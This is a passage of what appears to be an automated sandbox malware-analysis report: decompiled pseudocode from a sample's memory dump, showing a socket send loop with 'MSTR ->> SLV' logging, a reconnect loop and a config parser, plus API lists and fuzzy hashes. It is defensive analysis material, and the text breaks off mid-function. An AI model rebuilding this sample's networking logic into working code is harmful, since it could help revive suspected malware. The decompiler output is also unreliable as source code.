    				_t106 =  *(_t64 + 0x1001b) & 0x000000ff;
    				if(( *(_t64 + 0x1001b) & 0x000000ff) != 0) {
    					__eflags = _a4 - 0xffffffff;
    					if(_a4 != 0xffffffff) {
    						_t107 =  *_a8;
    						__eflags = ( *(_t107 + 6) & 0x000000ff) - 3;
    						if(( *(_t107 + 6) & 0x000000ff) != 3) {
    							_t118 =  *_a8;
    							__eflags = ( *(_t118 + 6) & 0x000000ff) - 1;
    							if(( *(_t118 + 6) & 0x000000ff) == 1) {
    								 *((intOrPtr*)( *_a8 + 0xc)) =  *((intOrPtr*)(_a12 + 4));
    							}
    							_t139 =  *_a8;
    							__eflags =  *(_t139 + 6) & 0x000000ff;
    							if(( *(_t139 + 6) & 0x000000ff) == 0) {
    								 *((intOrPtr*)( *_a8 + 0xc)) =  *((intOrPtr*)(_a12 + 4));
    								 *( *_a8 + 8) =  *(_a12 + 8);
    								_t124 =  *(_a12 + 8) + 1;
    								__eflags = _t124;
    								 *(_a12 + 8) = _t124;
    							}
    						}
    						E00A42540( &_v268, 0x100);
    						_v12 = E00A414F0(_a8,  &_v268);
    						_t69 =  &_v268;
    						_t110 = _a4;
    						__imp__#19(_a4, _t69, _v12, 0);
    						_v8 = _t69;
    						__eflags = _v8 - 0xffffffff;
    						if(_v8 != 0xffffffff) {
    							__eflags = _v8 - 0xffffffff;
    							if(_v8 != 0xffffffff) {
    								E00A479B0(" MSTR ->> SLV \t",  &_v268, _v12, _a12);
    								__eflags = 0;
    								return 0;
    							}
    							_t112 = _a12;
    							__eflags =  *(_t112 + 0x10019) & 0x000000ff;
    							if(( *(_t112 + 0x10019) & 0x000000ff) == 0) {
    								_t76 = E00A439C0(E00A436C0(_t112));
    								__imp__#111();
    								_t77 = E00A47DB0();
    								__imp__#111(_t77, _t76);
    								_push(_t77);
    								_push(0x6854);
    								__eflags = _a12 + 0x1001d;
    								E00A43830(__eflags, E00A436C0(_t75), " %s M%X %d (%s)\n", _a12 + 0x1001d);
    							}
    							 *((char*)(_a12 + 0x10018)) = 1;
    							 *((char*)(_a12 + 0x1001b)) = 0;
    							return E00A47700(_a4, _a12);
    						} else {
    							_t83 = E00A439C0(E00A436C0(_t110));
    							__imp__#111();
    							_t84 = E00A47DB0();
    							__imp__#111(_t84, _t83);
    							_push(_t84);
    							_push(0x6853);
    							E00A43830(__eflags, E00A436C0(_t82), " %s M%X %d (%s)\n", _a12 + 0x1001d);
    							 *((char*)(_a12 + 0x10018)) = 1;
    							 *((char*)(_a12 + 0x1001b)) = 0;
    							return E00A47700(_a4, _a12);
    						}
    					}
    					_t145 = _a12;
    					__eflags =  *(_t145 + 0x10019) & 0x000000ff;
    					if(( *(_t145 + 0x10019) & 0x000000ff) == 0) {
    						_t101 = E00A439C0(E00A436C0(_t106));
    						__imp__#111();
    						_t102 = E00A47DB0();
    						__imp__#111(_t102, _t101);
    						_push(_t102);
    						_push(0x6852);
    						__eflags = _a12 + 0x1001d;
    						E00A43830(__eflags, E00A436C0(_a12 + 0x1001d), " %s M%X %d (%s)\n", _a12 + 0x1001d);
    					}
    					 *((char*)(_a12 + 0x10018)) = 1;
    					 *((char*)(_a12 + 0x1001b)) = 0;
    					return E00A47700(_a4, _a12);
    				}
    				return 0xffffff9c;
    			}




















    0x00a458e9
    0x00a458ec
    0x00a458f5
    0x00a45901
    0x00a45905
    0x00a45980
    0x00a45986
    0x00a45989
    0x00a4598e
    0x00a45994
    0x00a45997
    0x00a459a4
    0x00a459a4
    0x00a459aa
    0x00a459b0
    0x00a459b2
    0x00a459bf
    0x00a459cd
    0x00a459d6
    0x00a459d6
    0x00a459dc
    0x00a459dc
    0x00a459b2
    0x00a459eb
    0x00a459ff
    0x00a45a08
    0x00a45a0f
    0x00a45a13
    0x00a45a19
    0x00a45a1c
    0x00a45a20
    0x00a45a8a
    0x00a45a8e
    0x00a45b16
    0x00a45b1b
    0x00000000
    0x00a45b1b
    0x00a45a90
    0x00a45a9a
    0x00a45a9c
    0x00a45aa5
    0x00a45aaa
    0x00a45ab1
    0x00a45ab7
    0x00a45abd
    0x00a45abe
    0x00a45ac6
    0x00a45ad7
    0x00a45adc
    0x00a45ae2
    0x00a45aec
    0x00000000
    0x00a45a22
    0x00a45a29
    0x00a45a2e
    0x00a45a35
    0x00a45a3b
    0x00a45a41
    0x00a45a42
    0x00a45a5c
    0x00a45a67
    0x00a45a71
    0x00000000
    0x00a45a80
    0x00a45a20
    0x00a45907
    0x00a45911
    0x00a45913
    0x00a4591c
    0x00a45921
    0x00a45928
    0x00a4592e
    0x00a45934
    0x00a45935
    0x00a4593d
    0x00a4594f
    0x00a45954
    0x00a4595a
    0x00a45964
    0x00000000
    0x00a45973
    0x00000000

    APIs
    • WSAGetLastError.WS2_32 ref: 00A45921
    • WSAGetLastError.WS2_32(00000000,00000000), ref: 00A4592E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: ErrorLast
    • String ID: %s M%X %d (%s)$ %s M%X %d (%s)$ %s M%X %d (%s)$ MSTR ->> SLV
    • API String ID: 1452528299-3921971735
    • Opcode ID: 0596fd4732d2f302c6076031a4a4e03a5f159d8281da32a1f663bd5e0ae010ca
    • Instruction ID: a96fbac68759d8bab2582e0b5189c6b1400c065bb4be80cab70932f9b94f58ac
    • Opcode Fuzzy Hash: 0596fd4732d2f302c6076031a4a4e03a5f159d8281da32a1f663bd5e0ae010ca
    • Instruction Fuzzy Hash: 2A61C079A00289AFCB04EFA4C885EEF7765BFC8304F148599F9558B382D771DA51CB60
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 50%
    			E00A457D0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
    				intOrPtr _v8;
    				intOrPtr _t20;
    				void* _t28;
    				void* _t29;
    				intOrPtr _t32;
    				void* _t36;
    				void* _t37;
    				intOrPtr _t51;
    
    				_t20 = _a12;
    				_t41 = _a8;
    				__imp__#19(_a4, _a8, _t20, 0, __ecx);
    				_v8 = _t20;
    				if(_v8 != 0xffffffff) {
    					__eflags = _v8 - 0xffffffff;
    					if(_v8 != 0xffffffff) {
    						E00A479B0(" MSTR ->> SLV \t", _a8, _a12, _a16);
    						__eflags = 0;
    						return 0;
    					}
    					_t51 = _a16;
    					__eflags =  *(_t51 + 0x10019) & 0x000000ff;
    					if(( *(_t51 + 0x10019) & 0x000000ff) == 0) {
    						_t28 = E00A439C0(E00A436C0(_t41));
    						__imp__#111();
    						_t29 = E00A47DB0();
    						__imp__#111(_t29, _t28);
    						_push(_t29);
    						_push(0x6851);
    						__eflags = _a16 + 0x1001d;
    						E00A43830(__eflags, E00A436C0(_a16 + 0x1001d), " %s M%X %d (%s)\n", _a16 + 0x1001d);
    					}
    					return E00A47700(_a4, _a16);
    				}
    				_t32 = _a16;
    				_t46 =  *(_t32 + 0x10019) & 0x000000ff;
    				if(( *(_t32 + 0x10019) & 0x000000ff) == 0) {
    					_t36 = E00A439C0(E00A436C0(_t46));
    					__imp__#111();
    					_t37 = E00A47DB0();
    					__imp__#111(_t37, _t36);
    					_push(_t37);
    					_push(0x6850);
    					E00A43830(_a16 + 0x1001d, E00A436C0(_t35), " %s M%X %d (%s)\n", _a16 + 0x1001d);
    				}
    				return E00A47700(_a4, _a16);
    			}











    0x00a457d6
    0x00a457da
    0x00a457e2
    0x00a457e8
    0x00a457ef
    0x00a45850
    0x00a45854
    0x00a458c6
    0x00a458cb
    0x00000000
    0x00a458cb
    0x00a45856
    0x00a45860
    0x00a45862
    0x00a4586b
    0x00a45870
    0x00a45877
    0x00a4587d
    0x00a45883
    0x00a45884
    0x00a4588c
    0x00a4589e
    0x00a458a3
    0x00000000
    0x00a458ae
    0x00a457f1
    0x00a457f4
    0x00a457fd
    0x00a45806
    0x00a4580b
    0x00a45812
    0x00a45818
    0x00a4581e
    0x00a4581f
    0x00a45839
    0x00a4583e
    0x00000000

    APIs
    • send.WS2_32(?,00000080,?,00000000), ref: 00A457E2
    • WSAGetLastError.WS2_32(?,00A471E2,?,?,00000000,00000000,?,00000080,?), ref: 00A4580B
    • WSAGetLastError.WS2_32(00000000,00000000,?,00A471E2,?,?,00000000,00000000,?,00000080,?), ref: 00A45818
      • Part of subcall function 00A436C0: Sleep.KERNELBASE(0000000A,?,00A44FC5, T%d %h,00000000,00006810,00000000,00000000,?,?,?,00000000,00000000), ref: 00A436F5
    • WSAGetLastError.WS2_32(?,00A471E2,?,?,00000000,00000000,?,00000080,?), ref: 00A45870
    • WSAGetLastError.WS2_32(00000000,00000000,?,00A471E2,?,?,00000000,00000000,?,00000080,?), ref: 00A4587D
      • Part of subcall function 00A436C0: InterlockedCompareExchange.KERNEL32(00A4B060,00000001,00000000), ref: 00A436CD
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: ErrorLast$CompareExchangeInterlockedSleepsend
    • String ID: %s M%X %d (%s)$ %s M%X %d (%s)$ MSTR ->> SLV
    • API String ID: 3096393760-2920148164
    • Opcode ID: 8a0ba20d8c99cb6656a27d6eb61f886c7c63f66f32a6194a802d4ee60d5c990d
    • Instruction ID: c2da2bebe6d43eae1b86f1fd1dd2dfc9dc800599dab9e1a7f358cd560e50a2d6
    • Opcode Fuzzy Hash: 8a0ba20d8c99cb6656a27d6eb61f886c7c63f66f32a6194a802d4ee60d5c990d
    • Instruction Fuzzy Hash: 212144BAA00645FBCF04FFB4DE4ADAF7368AFC9311B104908B91597282DA75DA109B71
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 62%
    			E00A473C0(intOrPtr _a4) {
    				signed int _v8;
    				signed int _v12;
    				signed int _v16;
    				signed int _v20;
    				signed int _v24;
    				signed int _v28;
    				char* _v32;
    				char _v288;
    				char _v1312;
    				intOrPtr _t138;
    				intOrPtr _t139;
    				signed int _t162;
    				long _t168;
    				intOrPtr _t181;
    				intOrPtr _t183;
    				intOrPtr _t200;
    				intOrPtr _t201;
    				intOrPtr _t205;
    				intOrPtr _t207;
    				signed int _t221;
    				void* _t229;
    				void* _t230;
    
    				_v12 = 0;
    				_v24 = 0;
    				 *(_a4 + 0x10018) = 1;
    				while(1 != 0) {
    					_t201 = _a4;
    					_t233 =  *(_t201 + 0x1001a) & 0x000000ff;
    					if(( *(_t201 + 0x1001a) & 0x000000ff) == 0 || (E00A47720(_t233, _a4) & 0x000000ff) != 0) {
    						_v24 = _v24 + 1;
    						__eflags = _v12;
    						if(_v12 != 0) {
    							E00A453D0(_v12);
    							__imp__#116();
    						}
    						_v12 = E00A45650(_a4 + 0x1001d,  *((intOrPtr*)(_a4 + 0x10034)));
    						 *(_a4 + 0x10018) = 0;
    						 *((char*)(_a4 + 0x1001b)) = 1;
    						 *(_a4 + 4) = 0;
    						 *(_a4 + 8) = 0;
    						_v20 = E00A45F10(_v12, _a4);
    						_t205 = _a4;
    						__eflags = ( *(_t205 + 0x10018) & 0x000000ff) - 1;
    						if(( *(_t205 + 0x10018) & 0x000000ff) != 1) {
    							__eflags = 1;
    							if(1 == 0) {
    								L31:
    								__eflags = ( *(_a4 + 0x10018) & 0x000000ff) - 1;
    								if(__eflags != 0) {
    									Sleep(0x3e8);
    									_v20 = E00A46220(_v12, _a4);
    								}
    								continue;
    							}
    							_t207 = _a4;
    							__eflags =  *(_t207 + 0x10018) & 0x000000ff;
    							if(( *(_t207 + 0x10018) & 0x000000ff) != 0) {
    								goto L31;
    							}
    							E00A42540( &_v1312, 0x400);
    							_v8 = 0;
    							_v16 = 0;
    							while(1) {
    								_t138 = _a4;
    								__eflags = _v16 -  *((intOrPtr*)(_t138 + 0x1014c));
    								if(_v16 >=  *((intOrPtr*)(_t138 + 0x1014c))) {
    									break;
    								}
    								E00A42540( &_v288, 0x100);
    								_v20 = E00A46860(_v12,  &_v288, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)))), 0, _a4,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x10148)) + _v16 * 4)) + 9) & 0x000000ff);
    								__eflags = _v20;
    								if(_v20 > 0) {
    									__eflags = _v8 + _v20 - 0x400;
    									if(_v8 + _v20 >= 0x400) {
    										E00A457D0(_v12, _v12,  &_v1312, _v8, _a4);
    										_v8 = 0;
    										E00A42540( &_v1312, 0x400);
    									}
    									E00A42190(_t229 + _v8 - 0x51c,  &_v288, _v20);
    									_t230 = _t230 + 0xc;
    									_v8 = _v8 + _v20;
    									_t162 =  *(_a4 + 8) + 1;
    									__eflags = _t162;
    									 *(_a4 + 8) = _t162;
    								}
    								_t221 = _v16 + 1;
    								__eflags = _t221;
    								_v16 = _t221;
    							}
    							__eflags = _v8;
    							if(_v8 > 0) {
    								E00A457D0( &_v1312, _v12,  &_v1312, _v8, _a4);
    								_v8 = 0;
    								E00A42540( &_v1312, 0x400);
    							}
    							_t181 = _a4;
    							__eflags =  *(_t181 + 0x10046) & 0x000000ff;
    							if(( *(_t181 + 0x10046) & 0x000000ff) != 0) {
    								_t139 = _a4;
    								__eflags =  *(_t139 + 0x10045) & 0x000000ff;
    								if(( *(_t139 + 0x10045) & 0x000000ff) != 0) {
    									_v28 = 0;
    								} else {
    									_v28 = 1;
    								}
    								 *((char*)(_a4 + 0x10045)) = _v28;
    								_t183 = _a4;
    								__eflags =  *(_t183 + 0x10045) & 0x000000ff;
    								if(( *(_t183 + 0x10045) & 0x000000ff) == 0) {
    									_v32 = "OFF\n\n";
    								} else {
    									_v32 = "ON\n\n";
    								}
    								E00A43830(__eflags, E00A436C0(_t183), "\nSwitch value: %s", _v32);
    								_t230 = _t230 + 0xc;
    							}
    							goto L31;
    						} else {
    							asm("cdq");
    							__eflags = _v24 %  *(_a4 + 0xc);
    							if(__eflags == 0) {
    								_t168 =  *(_a4 + 0x10040) * 0x3e8;
    								__eflags = _t168;
    								Sleep(_t168);
    							}
    							continue;
    						}
    					} else {
    						continue;
    					}
    				}
    				__imp__#116();
    				_t200 = _a4;
    				__eflags =  *(_t200 + 0x10019) & 0x000000ff;
    				if(( *(_t200 + 0x10019) & 0x000000ff) == 0) {
    					_push("\n\n\nConnection closed ...");
    					_push(E00A436C0(1));
    					E00A43830(__eflags);
    				}
    				__eflags = 0;
    				return 0;
    			}

























    0x00a473c9
    0x00a473d0
    0x00a473da
    0x00a473e1
    0x00a473ee
    0x00a473f8
    0x00a473fa
    0x00a47414
    0x00a47417
    0x00a4741b
    0x00a47421
    0x00a47426
    0x00a47426
    0x00a47445
    0x00a4744b
    0x00a47455
    0x00a4745f
    0x00a47469
    0x00a4747d
    0x00a47480
    0x00a4748a
    0x00a4748d
    0x00a474bb
    0x00a474bd
    0x00a4769a
    0x00a476a4
    0x00a476a7
    0x00a476b3
    0x00a476c6
    0x00a476c6
    0x00000000
    0x00a476a7
    0x00a474c3
    0x00a474cd
    0x00a474cf
    0x00000000
    0x00000000
    0x00a474e1
    0x00a474e6
    0x00a474ed
    0x00a474ff
    0x00a474ff
    0x00a47505
    0x00a4750b
    0x00000000
    0x00000000
    0x00a4751d
    0x00a47576
    0x00a47579
    0x00a4757d
    0x00a47585
    0x00a4758a
    0x00a4759f
    0x00a475a4
    0x00a475b7
    0x00a475b7
    0x00a475d2
    0x00a475d7
    0x00a475e0
    0x00a475e9
    0x00a475e9
    0x00a475ef
    0x00a475ef
    0x00a474f9
    0x00a474f9
    0x00a474fc
    0x00a474fc
    0x00a475f7
    0x00a475fb
    0x00a47610
    0x00a47615
    0x00a47628
    0x00a47628
    0x00a4762d
    0x00a47637
    0x00a47639
    0x00a4763b
    0x00a47645
    0x00a47647
    0x00a47652
    0x00a47649
    0x00a47649
    0x00a47649
    0x00a4765f
    0x00a47665
    0x00a4766f
    0x00a47671
    0x00a4767c
    0x00a47673
    0x00a47673
    0x00a47673
    0x00a47692
    0x00a47697
    0x00a47697
    0x00000000
    0x00a4748f
    0x00a47495
    0x00a47499
    0x00a4749b
    0x00a474a0
    0x00a474a0
    0x00a474ab
    0x00a474ab
    0x00000000
    0x00a474b1
    0x00a4740c
    0x00000000
    0x00a4740c
    0x00a473fa
    0x00a476ce
    0x00a476d4
    0x00a476de
    0x00a476e0
    0x00a476e2
    0x00a476ec
    0x00a476ed
    0x00a476f2
    0x00a476f5
    0x00a476fa

    APIs
    • WSACleanup.WS2_32 ref: 00A47426
    • Sleep.KERNEL32(?,?,00000000,00000000,-0001001D,?), ref: 00A474AB
    • Sleep.KERNEL32(000003E8,00000000,00000000,-0001001D,?), ref: 00A476B3
    • WSACleanup.WS2_32 ref: 00A476CE
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CleanupSleep
    • String ID: Connection closed ...$Switch value: %s
    • API String ID: 1660135218-1043361263
    • Opcode ID: b3f469f156d586e52413fc7b9cc824e468afd48892ebb464a0735db402e8019a
    • Instruction ID: 8b9b87f001d240abf989b06f0752b72225eec75f7cc74d576508f9e14912b2da
    • Opcode Fuzzy Hash: b3f469f156d586e52413fc7b9cc824e468afd48892ebb464a0735db402e8019a
    • Instruction Fuzzy Hash: 7BA15178A04249ABCB14DF94C990BEEBBB5BF88304F148198F9499B241D775EB81DF90
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A42F30(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8) {
    				intOrPtr* _v8;
    				void* _v12;
    				short _v532;
    
    				_v8 = __ecx;
    				E00A42C10(_v8, _a4);
    				if(_a8 != 0) {
    					wnsprintfW( &_v532, 0x104, L"Global\\%lS", _a8);
    					_v12 = OpenEventW(0x100000, 0,  &_v532);
    					 *((intOrPtr*)(_v8 + 0x10 +  *(_v8 + 8) * 4)) = _v12;
    					if(_v12 != 0) {
    						 *((intOrPtr*)(_v8 + 0xc)) =  *((intOrPtr*)(_v8 + 0xc)) + 1;
    					}
    				}
    				return _v8;
    			}






    0x00a42f39
    0x00a42f43
    0x00a42f4c
    0x00a42f63
    0x00a42f80
    0x00a42f8f
    0x00a42f97
    0x00a42fa5
    0x00a42fa5
    0x00a42f97
    0x00a42fae

    APIs
      • Part of subcall function 00A42C10: GetSystemTime.KERNEL32(?), ref: 00A42C7B
      • Part of subcall function 00A42C10: StrToIntA.SHLWAPI(00000000,00000000), ref: 00A42C8B
      • Part of subcall function 00A42C10: SystemTimeToFileTime.KERNEL32(?,?), ref: 00A42CB7
      • Part of subcall function 00A42C10: FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000008,00000000,?,00000008), ref: 00A42D04
      • Part of subcall function 00A42C10: wnsprintfW.SHLWAPI ref: 00A42D24
      • Part of subcall function 00A42C10: VarDateFromStr.OLEAUT32(?,00000800,80000003,?), ref: 00A42D6A
      • Part of subcall function 00A42C10: VariantTimeToSystemTime.OLEAUT32 ref: 00A42D8F
    • wnsprintfW.SHLWAPI ref: 00A42F63
    • OpenEventW.KERNEL32(00100000,00000000,?), ref: 00A42F7A
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Time$System$Filewnsprintf$DateEventFromOpenVariant
    • String ID: 0Uv$Global\%lS
    • API String ID: 662666958-2984149471
    • Opcode ID: e3a9f3c92ac4ee572ce98f2d3546661d5a7bd0c9872300f656645e4ccf4357d8
    • Instruction ID: d1300ae178510067db19efacd16b062018e7707fc98152873c629f451a8c6d84
    • Opcode Fuzzy Hash: e3a9f3c92ac4ee572ce98f2d3546661d5a7bd0c9872300f656645e4ccf4357d8
    • Instruction Fuzzy Hash: A8012938A00208EFDB14DF98C885BADB7B4FB88300F548598F908A7380D7B1AE95DF50
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A44142() {
    				void* _t189;
    				void* _t190;
    				void* _t193;
    				void* _t194;
    				void* _t206;
    				void* _t208;
    				void* _t211;
    				void* _t215;
    				void* _t219;
    				void* _t223;
    				intOrPtr _t228;
    				void* _t230;
    				void* _t231;
    				intOrPtr _t238;
    				void* _t240;
    				void* _t242;
    				void* _t320;
    				void* _t322;
    
    				if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) == 0 &&  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x18)) != 0) {
    					_t193 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x18)));
    					_t322 = _t322 + 4;
    					if(_t193 > 0) {
    						_t8 =  *((intOrPtr*)(_t320 + 8)) + 0x18; // 0x31
    						_t194 = E00A43A90(_t193,  *((intOrPtr*)(_t320 + 8)),  *_t8, 0xa49c48);
    						_t322 = _t322 + 8;
    						if(_t194 == 0) {
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)) == 0) {
    								L13:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x6828;
    							} else {
    								_t279 =  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c));
    								_t240 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)));
    								_t322 = _t322 + 4;
    								if(_t240 <= 0) {
    									goto L13;
    								} else {
    									_t242 = E00A43A90( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)), _t279,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)), 0xa49c4c);
    									_t322 = _t322 + 8;
    									if(_t242 != 0) {
    										 *((intOrPtr*)(_t320 - 0x18)) = 0;
    									} else {
    										 *((intOrPtr*)(_t320 - 0x18)) = 1;
    									}
    									 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x1001a)) =  *((intOrPtr*)(_t320 - 0x18));
    								}
    							}
    							if( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)) == 0) {
    								 *((intOrPtr*)(_t320 - 4)) = 0xffffffff;
    							} else {
    								_t238 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)));
    								_t322 = _t322 + 4;
    								 *((intOrPtr*)(_t320 - 4)) = _t238;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)) == 0 ||  *((intOrPtr*)(_t320 - 4)) <= 0 ||  *((intOrPtr*)(_t320 - 4)) >= 0xff) {
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x6829;
    							} else {
    								E00A41A10( *((intOrPtr*)(_t320 + 0xc)) + 0x10047,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)));
    								_t322 = _t322 + 8;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x24)) == 0) {
    								L30:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    							} else {
    								_t230 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x24)));
    								_t322 = _t322 + 4;
    								if(_t230 <= 0) {
    									goto L30;
    								} else {
    									_t231 = E00A43A90(_t230,  *((intOrPtr*)(_t320 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x24)), 0xa49c50);
    									_t322 = _t322 + 8;
    									if(_t231 != 0) {
    										 *((intOrPtr*)(_t320 - 0x1c)) = 0;
    									} else {
    										 *((intOrPtr*)(_t320 - 0x1c)) = 1;
    									}
    									 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10154)) =  *((intOrPtr*)(_t320 - 0x1c));
    								}
    							}
    							if( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)) == 0) {
    								 *((intOrPtr*)(_t320 - 4)) = 0xffffffff;
    							} else {
    								_t228 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)));
    								_t322 = _t322 + 4;
    								 *((intOrPtr*)(_t320 - 4)) = _t228;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)) == 0 ||  *((intOrPtr*)(_t320 - 4)) <= 0 ||  *((intOrPtr*)(_t320 - 4)) >= 0x400) {
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682a;
    							} else {
    								E00A41A10( *((intOrPtr*)(_t320 + 0xc)) + 0x10155,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)));
    								_t322 = _t322 + 8;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x2c) == 0) {
    								L44:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682b;
    							} else {
    								_t223 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x2c));
    								_t322 = _t322 + 4;
    								if(_t223 <= 0) {
    									goto L44;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d5c)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x2c));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x30) == 0) {
    								L49:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682c;
    							} else {
    								_t219 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x30));
    								_t322 = _t322 + 4;
    								if(_t219 <= 0) {
    									goto L49;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d60)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x30));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x38) == 0) {
    								L54:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x6821;
    							} else {
    								_t215 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x38));
    								_t322 = _t322 + 4;
    								if(_t215 <= 0) {
    									goto L54;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d64)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x38));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x34) == 0) {
    								L59:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682d;
    							} else {
    								_t211 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x34));
    								_t322 = _t322 + 4;
    								if(_t211 <= 0) {
    									goto L59;
    								} else {
